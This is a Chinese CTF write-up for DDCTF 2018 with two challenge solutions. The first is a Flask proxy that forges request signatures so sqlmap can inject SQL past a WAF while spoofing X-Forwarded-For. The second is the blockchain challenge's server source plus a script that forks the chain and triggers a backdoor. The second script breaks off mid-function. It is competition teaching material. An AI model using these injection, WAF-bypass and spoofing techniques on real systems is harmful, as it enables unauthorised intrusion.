

DDCTF 2018 Writeup
source link: http://ultramangaia.github.io/blog/2018/ddctf-ctf-2018.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Web1 数据库的秘密
很容易想到伪造XFF
接下来就是注入了。
首先,我们发现有个校验
然后,看了下js,貌似有点复杂,这里采用
sqlmap+python代理服务器(代理服务器处理校验的代码,通过python的execjs模块调用js代码)
后又遇到了安全狗,使用from-data
提交数据,达到绕过
代理服务器main.py
from flask import Flask,request
import requests
import execjs
import urllib
app = Flask(__name__)
def get_js():
f = open("./crc.js", 'r')#, encoding='UTF-8')
line = f.readline()
htmlstr = ''
while line:
htmlstr = htmlstr + line
line = f.readline()
return htmlstr
jsstr = get_js()
ctx = execjs.compile(jsstr)
@app.route('/')
def index():
id = request.args.get('id')
title = request.args.get('title')
date = request.args.get('date')
author = request.args.get('author')
print request.args.items().__str__()
crc_str = ctx.call('submitgg', id, title, date, author)
print crc_str
url = "http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/" + crc_str
# data = {
# 'id':id,
# 'title':title,
# 'date':date,
# 'author':author,
# }
data = {
'id':id,
'title':title,
'date':date,
'author':author,
}
print data
files = {
'button': 'search',
}
try:
r = requests.post(url=url, headers={"X-Forwarded-For": "123.232.23.245"}, data=data, files=files)
except Exception as e:
print e
return e
return r.content
if __name__ == "__main__":
app.run(debug=True)
crc.js
/*
* A JavaScript implementation of the Secure Hash Algorithm, SHA-1, as defined
* in FIPS PUB 180-1
* Version 2.1-BETA Copyright Paul Johnston 2000 - 2002.
* Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
* Distributed under the BSD License
* See http://pajhome.org.uk/crypt/md5 for details.
*/
/*
* Configurable variables. You may need to tweak these to be compatible with
* the server-side, but the defaults work in most cases.
*/
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */
var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */
var key="\141\144\162\145\146\153\146\167\145\157\144\146\163\144\160\151\162\165";
/*
* These are the functions you'll usually want to call
* They take string arguments and return either hex or base-64 encoded strings
*/
function hex_math_enc(s) {
return binb2hex(core_math_enc(str2binb(s), s.length * chrsz));
}
function b64_math_enc(s) {
return binb2b64(core_math_enc(str2binb(s), s.length * chrsz));
}
function str_math_enc(s) {
return binb2str(core_math_enc(str2binb(s), s.length * chrsz));
}
function hex_hmac_math_enc(key, data) {
return binb2hex(core_hmac_math_enc(key, data));
}
function b64_hmac_math_enc(key, data) {
return binb2b64(core_hmac_math_enc(key, data));
}
function str_hmac_math_enc(key, data) {
return binb2str(core_hmac_math_enc(key, data));
}
/*
* Perform a simple self-test to see if the VM is working
*/
function math_enc_vm_test() {
return hex_math_enc("abc") == "a9993e364706816aba3e25717850c26c9cd0d89d";
}
/*
* Calculate the SHA-1 of an array of big-endian words, and a bit length
*/
function core_math_enc(x, len) {
/* append padding */
x[len >> 5] |= 0x80 << (24 - len % 32);
x[((len + 64 >> 9) << 4) + 15] = len;
var w = Array(80);
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
var e = -1009589776;
for (var i = 0; i < x.length; i += 16) {
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
var olde = e;
for (var j = 0; j < 80; j++) {
if (j < 16) w[j] = x[i + j];
else w[j] = rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1);
var t = safe_add(safe_add(rol(a, 5), math_enc_ft(j, b, c, d)), safe_add(safe_add(e, w[j]), math_enc_kt(j)));
e = d;
d = c;
c = rol(b, 30);
b = a;
a = t;
}
a = safe_add(a, olda);
b = safe_add(b, oldb);
c = safe_add(c, oldc);
d = safe_add(d, oldd);
e = safe_add(e, olde);
}
return Array(a, b, c, d, e);
}
/*
* Perform the appropriate triplet combination function for the current
* iteration
*/
function math_enc_ft(t, b, c, d) {
if (t < 20) return (b & c) | ((~b) & d);
if (t < 40) return b ^ c ^ d;
if (t < 60) return (b & c) | (b & d) | (c & d);
return b ^ c ^ d;
}
/*
* Determine the appropriate additive constant for the current iteration
*/
function math_enc_kt(t) {
return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : (t < 60) ? -1894007588 : -899497514;
}
/*
* Calculate the HMAC-SHA1 of a key and some data
*/
function core_hmac_math_enc(key, data) {
var bkey = str2binb(key);
if (bkey.length > 16) bkey = core_math_enc(bkey, key.length * chrsz);
var ipad = Array(16),
opad = Array(16);
for (var i = 0; i < 16; i++) {
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
}
var hash = core_math_enc(ipad.concat(str2binb(data)), 512 + data.length * chrsz);
return core_math_enc(opad.concat(hash), 512 + 160);
}
/*
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/
function safe_add(x, y) {
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
/*
* Bitwise rotate a 32-bit number to the left.
*/
function rol(num, cnt) {
return (num << cnt) | (num >>> (32 - cnt));
}
/*
* Convert an 8-bit or 16-bit string to an array of big-endian words
* In 8-bit function, characters >255 have their hi-byte silently ignored.
*/
function str2binb(str) {
var bin = Array();
var mask = (1 << chrsz) - 1;
for (var i = 0; i < str.length * chrsz; i += chrsz)
bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32);
return bin;
}
/*
* Convert an array of big-endian words to a string
*/
function binb2str(bin) {
var str = "";
var mask = (1 << chrsz) - 1;
for (var i = 0; i < bin.length * 32; i += chrsz)
str += String.fromCharCode((bin[i >> 5] >>> (24 - i % 32)) & mask);
return str;
}
/*
* Convert an array of big-endian words to a hex string.
*/
function binb2hex(binarray) {
var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var str = "";
for (var i = 0; i < binarray.length * 4; i++) {
str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) + hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF);
}
return str;
}
/*
* Convert an array of big-endian words to a base-64 string
*/
function binb2b64(binarray) {
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var str = "";
for (var i = 0; i < binarray.length * 4; i += 3) {
var triplet = (((binarray[i >> 2] >> 8 * (3 - i % 4)) & 0xFF) << 16) | (((binarray[i + 1 >> 2] >> 8 * (3 - (i + 1) % 4)) & 0xFF) << 8) | ((binarray[i + 2 >> 2] >> 8 * (3 - (i + 2) % 4)) & 0xFF);
for (var j = 0; j < 4; j++) {
if (i * 8 + j * 6 > binarray.length * 32) str += b64pad;
else str += tab.charAt((triplet >> 6 * (3 - j)) & 0x3F);
}
}
return str;
}
function signGenerate(obj, key) {
var str0 = '';
for(i in obj){
if(i!='sign'){
str1='';
str1=i+'='+obj[i];
str0+=str1
}
}
return hex_math_enc(str0+key)
};
var obj={id:'',title:'',author:'',date:'',time:parseInt(new Date().getTime()/1000)};
function submitt(){
obj['id']=document.getElementById('id').value;
obj['title']=document.getElementById('title').value;
obj['author']=document.getElementById('author').value;
obj['date']=document.getElementById('date').value;
var sign=signGenerate(obj,key);
document.getElementById('queryForm').action="index.php?sig="+sign+"&time="+obj.time;
document.getElementById('queryForm').submit()
}
function submitgg(id, title, date, author){
obj['id']=id;
obj['title']=title;
obj['author']=author;
obj['date']=date;
// return obj;
var sign=signGenerate(obj,key);
return "index.php?sig="+sign+"&time="+obj.time;
}
这里,我们为了方便输入在js中添加了个submitgg
函数,其他直接复制题目给的js。
运行代理服务器,此时可以
OK,将代理服务器的链接用于sqlmap
Web 4 mini blockchain
某银行利用区块链技术,发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成钻石的销售与清算过程。不幸的是,该银行被黑客入侵,私钥被窃取,维持区块链正常运转的矿机也全部宕机。现在,你能追回所有DDCoins,并且从商店购买2颗钻石么?
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request
app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b9af31f66147e'
def FLAG():
return 'Here is your flag: DDCTF{******************}'
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def has_attrs(d, attrs):
if type(d) != type({}): raise Exception("Input should be a dict/JSON")
for attr in attrs:
if attr not in d:
raise Exception("{} should be presented in the input".format(attr))
EMPTY_HASH = '0'*64
def addr_to_pubkey(address):
return rsa.PublicKey(int(address, 16), 65537)
def pubkey_to_address(pubkey):
assert pubkey.e == 65537
hexed = hex(pubkey.n)
if hexed.endswith('L'): hexed = hexed[:-1]
if hexed.startswith('0x'): hexed = hexed[2:]
return hexed
def gen_addr_key_pair():
pubkey, privkey = rsa.newkeys(384)
return pubkey_to_address(pubkey), privkey
bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()
def sign_input_utxo(input_utxo_id, privkey):
return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
tx['hash'] = hash_tx(tx)
return tx
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
def find_blockchain_tail():
return max(session['blocks'].values(), key=lambda block: block['height'])
def calculate_utxo(blockchain_tail):
curr_block = blockchain_tail
blockchain = [curr_block]
while curr_block['hash'] != session['genesis_block_hash']:
curr_block = session['blocks'][curr_block['prev']]
blockchain.append(curr_block)
blockchain = blockchain[::-1]
utxos = {}
for block in blockchain:
for tx in block['transactions']:
for input_utxo_id in tx['input']:
del utxos[input_utxo_id]
for utxo in tx['output']:
utxos[utxo['id']] = utxo
return utxos
def calculate_balance(utxos):
balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
for utxo in utxos.values():
if utxo['addr'] not in balance:
balance[utxo['addr']] = 0
balance[utxo['addr']] += utxo['amount']
return balance
def verify_utxo_signature(address, utxo_id, signature):
try:
return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
except:
return False
def append_block(block, difficulty=int('f'*64, 16)):
has_attrs(block, ['prev', 'nonce', 'transactions'])
if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
if block['prev'] not in session['blocks']: raise Exception("unknown parent block")
tail = session['blocks'][block['prev']]
utxos = calculate_utxo(tail)
if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
new_utxo_ids = set()
for tx in block['transactions']:
has_attrs(tx, ['input', 'output', 'signature'])
for utxo in tx['output']:
has_attrs(utxo, ['amount', 'addr', 'id'])
if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
new_utxo_ids.add(utxo['id'])
if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")
if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
try:
addr_to_pubkey(utxo['addr'])
except:
raise Exception("invalid type of address({})".format(utxo['addr']))
utxo['hash'] = hash_utxo(utxo)
tot_output = sum([utxo['amount'] for utxo in tx['output']])
if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
tot_input = 0
tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
for utxo_id, signature in zip(tx['input'], tx['signature']):
if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
utxo = utxos[utxo_id]
if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
tot_input += utxo['amount']
del utxos[utxo_id]
if tot_output > tot_input:
raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
tx['hash'] = hash_tx(tx)
block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height']+1
if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
session['blocks'][block['hash']] = block
session.modified = True
def init():
if 'blocks' not in session:
session['blocks'] = {}
session['your_diamonds'] = 0
# First, the bank issued some DDCoins ...
total_currency_issued = create_output_utxo(bank_address, 1000000)
genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
session['genesis_block_hash'] = genesis_block['hash']
genesis_block['height'] = 0
session['blocks'][genesis_block['hash']] = genesis_block
# Then, the bank was hacked by the hacker ...
handout = create_output_utxo(hacker_address, 999999)
reserved = create_output_utxo(bank_address, 1)
transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)
second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
append_block(second_block)
# Can you buy 2 diamonds using all DDCoins?
third_block = create_block(second_block['hash'], 'a empty block', [])
append_block(third_block)
def get_balance_of_all():
init()
tail = find_blockchain_tail()
utxos = calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail
@app.route(url_prefix+'/')
def homepage():
announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
balance, utxos, _ = get_balance_of_all()
genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address
balance_info = 'Balance of all addresses: ' + json.dumps(balance)
utxo_info = 'All utxos: ' + json.dumps(utxos)
blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
view_source_code_link = "<a href='source_code'>View source code</a>"
return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
@app.route(url_prefix+'/flag')
def getFlag():
init()
if session['your_diamonds'] >= 2: return FLAG()
return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address
def find_enough_utxos(utxos, addr_from, amount):
collected = []
for utxo in utxos.values():
if utxo['addr'] == addr_from:
amount -= utxo['amount']
collected.append(utxo['id'])
if amount <= 0: return collected, -amount
raise Exception('no enough DDCoins in ' + addr_from)
def transfer(utxos, addr_from, addr_to, amount, privkey):
input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
outputs = [create_output_utxo(addr_to, amount)]
if the_change != 0:
outputs.append(create_output_utxo(addr_from, the_change))
return create_tx(input_utxo_ids, outputs, privkey)
@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
balance, utxos, tail = get_balance_of_all()
if balance[bank_address] == 0: return 'The bank has no money now.'
try:
address = str(address)
addr_to_pubkey(address) # to check if it is a valid address
transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
append_block(new_block)
return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
except Exception, e:
return 'ERROR: ' + str(e)
DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)
balance, utxos, tail = get_balance_of_all()
if balance[shop_address] == 1000000:
# when 1000000 DDCoins are received, the shop will give you a diamond
session['your_diamonds'] += 1
# and immediately the shop will store the money somewhere safe.
transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
append_block(new_block)
msg += ' You receive a diamond.'
return msg
# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():
if 'blocks' in session: del session['blocks']
if 'genesis_block_hash' in session: del session['genesis_block_hash']
return 'reset.'
@app.route(url_prefix+'/source_code')
def show_source_code():
source = open('serve.py', 'r')
html = ''
for line in source:
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
source.close()
return html
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
题目给的区块链是有三个区块,
1. 创世块银行1000000个币
2. 黑客转走999999个币,给银行留下1个币
3. 再有一个空的区块
然后让你买2个钻石。
OK,只要往商店的地址转钱,当该地址有1000000个币时,会给你一个钻石。注意到,这个钻石是储存在session['your_diamonds']
中。
然后,添加一个区块,记录将商店中的币转走到冷钱包中。
这里的主要问题在于,只有你在挖矿,即你可以控制全网算力(100%>51%),所以你可以在任何地方进行分叉,否认之后所有的交易(否认一条,后面的都不成立的)。
对了,这里还有个后门,当然,可用可不用
分析下做法
# -*- encoding: utf-8 -*-
import btc
import rsa, uuid, json, copy
import requests
import re
txout_id = str(uuid.uuid4())
proxies = {"http":"http://127.0.0.1:8080"}
url_prefix = "http://localhost:5000/b9af31f66147e"
ss = requests.session()
ss.cookies.set("session",".eJzNVtuOm0gU_JWVn-cBGvCYSHmwF4yw0o2w2ybdURRxM9CAZzT2BLuj-fctnE1WGa_ysNqs1iOLy-BzqapThy-TrHvI2-PkzZeJXVhklhalmZF9XpSFOzNSZzorZ7lNSiM3nH3mGoa5n7r394W7n-5LYrolscneSqczwxlj1OmxHo-_ZZM3ExbEmqq6lsH2LNSqF2TdSa-1aeCbTNVdFFCD9ttB6Lkp-9Ch3vwslXCYLtooEUT22wvlXUdVfJGK1UxVA4vfvp283E3qsqnq0-SNcTc5PBzy8nvSXVB34XL9mCU7HXpz_c54rLNmdkFwJ_TZg0gcJZPzMbPCKiN2JQ6rx6w_4lxUOdmpjDhtGKzqNDl_Lt7Hlezdy3iNZ66JH5_Kz9-TIejwr3_nXzs8PaWHY5qfmocD6Plwgy0FhrEe8Yq8VSv60JReeGaKWtSLbeYJOwr8QSTUlHx-obrF9dZhaqFwX1OyAy_rJuLUFMBYJqymf2LbHB6fAe2Hj3eTh-fT1_Mvk7Qonr6nj_iuoQGSJ8se1IGeykFKU4A6hOqQFoi3juhXLQtC0BgbDGVFQajxTM10PDAeapqwRirfll6Hez6RfN2AZoOhHcp9O_IQl8dogTqCQC68RS5fj2Wm_cPzAbWZxvVz9yNAomcNgHBYInFc9ADAkNwnTFca1VhStSaE6VC1UlLF9ig-ZBhYsm4kr8wIX8rnDtWxZoCLKTHIbwAVf_HghSZCOkJVJ0ZCEv1uGFFC9TveQr_iRPVCid63RbJWjFf25OUFsB6b6pCenp_KEeWXjwjpZnvDyY29k6XWdEoc23Hv9_k0S2dmapV56dozgv-XRe6Y2axMzXvLcrKpm6VpZs6IezN8UbLqqbdTNAArva9R_2VEMuJFL7RsBK_OgoMpAlF41YUldJDXIpdNFOxqynNN9Q5sdA1YbiivLtGr4SOvh09sFl32fmGUm0WTBa5Kh7e3QyN0bAnAI5KVosofMOrmtSJUifMzRr4RxLcpWcIuYAEaLAQhAUtnoaGDXtaRN7ehEWhi1bAEco7_dmhGZHP7PnWnaZYT03D3DjAFxO7eNN0sT2dWWhYOsQzXyKZ728wtEJHOjNk0c_Msc1LLvEH2V9b_DVnzNbIbfxnGm6HabBYLvllsN_62ittltLksIm7m9Q3Kv9J8f25N1MvR63ZgwbqWSvaUb4FXfKZe3WL-YTeYOG9OqCowea3FlIQHACu-qKFQKwpwJ_DP8A0Dv9PwhoZWP1rTP56-n3malw8MXTMiiNDrDqiBJx8uMCLpXyTvcN2aSDpQvmqoEmdG4GtaYlp8B51aVMOzOL3IQIB3f5B8O8A74JHCEAroeznseVEDdUeq3BZ6NfZsMt7-4Gnu9fPK0qSX2zBAQpEAxojxrAyqV42EoCggp4lsKVn1ABUFbAFcAfPd2lJ1aKbumDc3Wb-EJaz7UXxM152sbixNerKPPEy-J07X48aA74bnd4lvIPRJjusDvk2vvj8fLe3u_7weXqFIg2UXcTzNsR1VV4-1Ic5FqC1yAyW1bqmqNJ7QjFOgB9l6kKNuUTO2bo-FgN9RHdqip0bEIfJbFAXkKJMxJIUMfS0hTYQgkKZJR7lyYVOonnm5CYKa28XwDcsgHKS3bDBOwHLXj4soCpY181hLOaQFo5cwcqZD2A9MXFUYNyhCC9QXnyWoY96iixIowYMZgA_Bl1iIW1MoOWJNmOej2wKLEmbAYWMexpXg7SDYDpgZ_KG5qjyUx-b46frG-Ok_e9O7PDw_fSoa0Hko4DbGyx8gEXQk.Db7w9Q.hqEXHtLsqopnbFpfz5UTfgca8LM")
r = ss.get(url=url_prefix+"/",proxies=proxies)
#工作量证明
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = btc.hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1
#构造一个空块
def empty_block(msg, prevHash):
b={}
b["prev"] = prevHash
b["transactions"] = []
b = pow(b, btc.DIFFICULTY, msg)
return b
def myprint(b):
print(json.dumps(b))
print(len(json.dumps(b)))
def send_to_server(b):
data = json.dumps(b)
r = ss.post(url = url_prefix+"/create_transaction",data = data, headers = {"content-type":"application/json"},proxies = proxies)
print r.content
def backdoor():
r = ss.get(url = url_prefix+"/5ecr3t_free_D1diCoin_b@ckD00r/"+shop_address, proxies = proxies)
print r.content
pass
shop_address = "c4a5cb163786cc944c488df9c8a5143356aecc87a8854c76fbb76f5715b947d7be5ddcc9c69d46b904a857ee9437c71b"
## 创世块的hash
prev_block_hash = "4d328ade1b2fcded980a568e8c42e0c05fb9001f6977d9f6fe219e242f3a6805"
# 空块
print("empty block 1")
block1 = empty_block("empty block",prev_block_hash)
block1 = pow(block1, btc.DIFFICULTY)
myprint(block1)
send_to_server(block1)
# 空块
print("empty block 2")
block2 = empty_block("empty block",block1['hash'])
block2 = pow(block2, btc.DIFFICULTY)
myprint(block2)
send_to_server(block2)
# 空块
print("empty block 3")
block3 = empty_block("empty block",block2['hash'])
block3 = pow(block3, btc.DIFFICULTY)
myprint(block3)
send_to_server(block3)
# 长度超过原链
# 触发后门,银行转币到商店
print("hit backdoor")
backdoor()
# 商店转走币,给你一颗钻石(这需要一次创建块才能触发,我们在分叉2中触发就OK)
# 空块
print("empty block 4, you will receive a diamond")
block4 = empty_block("empty block",block3['hash'])
block4 = pow(block4, btc.DIFFICULTY)
myprint(block4)
send_to_server(block4)
# 空块
print("empty block 5")
block5 = empty_block("empty block",block4['hash'])
block5 = pow(block5, btc.DIFFICULTY)
myprint(block5)
send_to_server(block5)
# 空块
print("empty block 6")
block6 = empty_block("empty block",block5['hash'])
block6 = pow(block6, btc.DIFFICULTY)
myprint(block6)
send_to_server(block6)
# 触发后门,银行转币到商店
print("hit backdoor 2")
backdoor()
# 创建空块,触发商店转走币,给你一颗钻石
print("empty block 7")
block7 = empty_block("empty block",block6['hash'])
block7 = pow(block7, btc.DIFFICULTY)
myprint(block7)
send_to_server(block7)
r = ss.get(url_prefix + "/flag",proxies=proxies)
print r.content
不利用后门
# -*- encoding: utf-8 -*-
import btc
import rsa, uuid, json, copy
import requests
import re
genesis_block = "f91baf7a24ab07a0361e27e8527ec951feecc8cd4a67ef75e45059cf09dcdf76"
hacker_input = "08e90dc1-2545-43fd-8ee4-c02b87d92899"
hacker_signature = "5415d3901c9e497344e62aa7515d64e79ab5ef1d77556187b22f7c3909555f38579f39b2a07e6d84addd40eebdc55757"
shop_address = "c4a5cb163786cc944c488df9c8a5143356aecc87a8854c76fbb76f5715b947d7be5ddcc9c69d46b904a857ee9437c71b"
txout_id = str(uuid.uuid4())
proxies = {"http":"http://127.0.0.1:8080"}
url_prefix = "http://localhost:5000/b9af31f66147e"
ss = requests.session()
ss.cookies.set("session",".eJzNVtuK20gU_JXFz_PQrcvYDuyDjWwjk26hcctK9xKCbpbUkjzD2BNZCvPvWz25bTxhYWGzrMDogtynuk5VHX2apO191pwmbz5NKKFTJ6e3lpsRu8imNk1ca55T256RWTIlc8eeUTpz7flhmsyy1KK3Bc1vp3mWZ_aBZGaNKjlV5vxbOnkzYWJx4eNdw4QceMx6Zu01H9lFimgI4vDCRuYwr6r4uHC5h2uxcrhgrtJ5FWx4zfTKUmLdcJ030rrTzJK97H__ffJ8M6mKuqzOkzfWzeR4f8yKb0Xlbtmm75ak2C3rdDPXyZc_PDwWH78j000fbCRlne8GBt247oCQSLGuVMwbJVY208uaj0AnGpeNkaNEA3RbrUREuBVegKxmG95yIFObu1otPhc6PybHU5Kd6_sjaP3jPR5ZczI7uFY6n99aU3pwMyehSZHlBZ1aJJ3OEnc-t91ZMZ-5Vla4zjSnBU1JVhhu8zR_zewvxP-VWXrN7G619sNdX-52y6XYLaPdKirDZh3shmUgaFa9Ylnp5iI7ILNWA9-gmpdXzGMWi6OBWxHQ-LaKmcvFulPxXsux0sq7q9DvVumMKhFS5kWuRN-D2KCUNi9_yvI1P90dFMRIIO5qrkuLi7zjXjOAFwokDfeykVv7Sgog1JHLu3XFRihS85rH_iA1UG2MEhuqOlx3oc2_CKk-PjydX0p-LuVVbSCWjRxXZ6ZB7Y4QZqnmrahabOAsxwWWK22F8oHXuJPn9zeT-6fz10WSPH_8hjvwsp53hh3sebxrpd5WgbeiTIQj3AD8Le4byj2_Z2ILh8gLekn4qCq4xwVWm40rJxBsAFsDrnv0G87jneokkbqB4zKbecsKwLC_zJHjFhoJKXQymv0l3f3TEdjmL8fNj8Qqb98ytI3rkKgXkrddEENsncJzNkod2rC2wy02SNgZ7ID4lSvjbcu90uEb2BhChCxaLqQhmcgvLa3zvygnvEiLoyfROfAWhNeEIBFakKrRm3MQIy3GJZSCdNFtPXl-vrmmUuwhb6VlDHF1_qB0iZCRVI55A4u0MmYDQz9kt234xh9AMeFe6AQbf8Q7CKWwh0BHFvNa6ZWjvBbPTCC9SIrwzqcmsAIP64I-heCSFiPYHWqtfqCSXrEYGFGPygSaxUa_N5hYB4Y2aLtoLBWvejBjqQ621aqFJC0eGwmENot91Nw2L-Eqqk6JJWhCzcUrFpmIkAJQTyfPsmOOMtIE3LdoRuD5ZxmHoKN0mc471oUELEKbp7o8Juenx-K7xrG_i6kfoKYcW3SygcygAESPRPc5bKU8ifsMnfapiuVFQWZcRBYTpS214T_XwNkHIqI8liM4gFJwNnYTC1sJ1QQwP6II9ly2Kt7CU3h3jGx45tnk6GFO0wTDx3KSlEwTYt_SwpoWSM1pkc1deiiKLJtluZPcTovD1C0cl7jz7EDmyNHD9PZVjv7KhPqao-Q6R_ebqvXXdw9pvB99bzG-JQ9VWs-gxoXrr_i9jF2t4ssptf0ytZxSHrcPaXfCtSwzjNDUcht_s62S-PIxfxeWqpsP5h7v_GTSeYv-X__9fNJdc-uVaLrsmcZZ-K4SJTHZBFHA29vKyJ97Rtwc-WMEsED--hdk4Mg2mE-6hch9UxFxsUKAIlzLHzP476L0_-R_8nLcXA8piVDz4QI2YILUDK4BIkPEoLwthBgNbMN6rhszDvAptYdNEdadCXhJsTczoLArgy7qAw8fVK-z9J8PqOsUMObDmmVxLE716cPLF-OH_8xHw_3T44e8BpfHHDIjz38CpAVruA.Db75Tw.QeSMoxmB0xyGIo4lNdIZIxxJbXw")
r = ss.get(url=url_prefix+"/",proxies=proxies)
#工作量证明
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = btc.hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1
#构造一个空块
def empty_block(msg, prevHash):
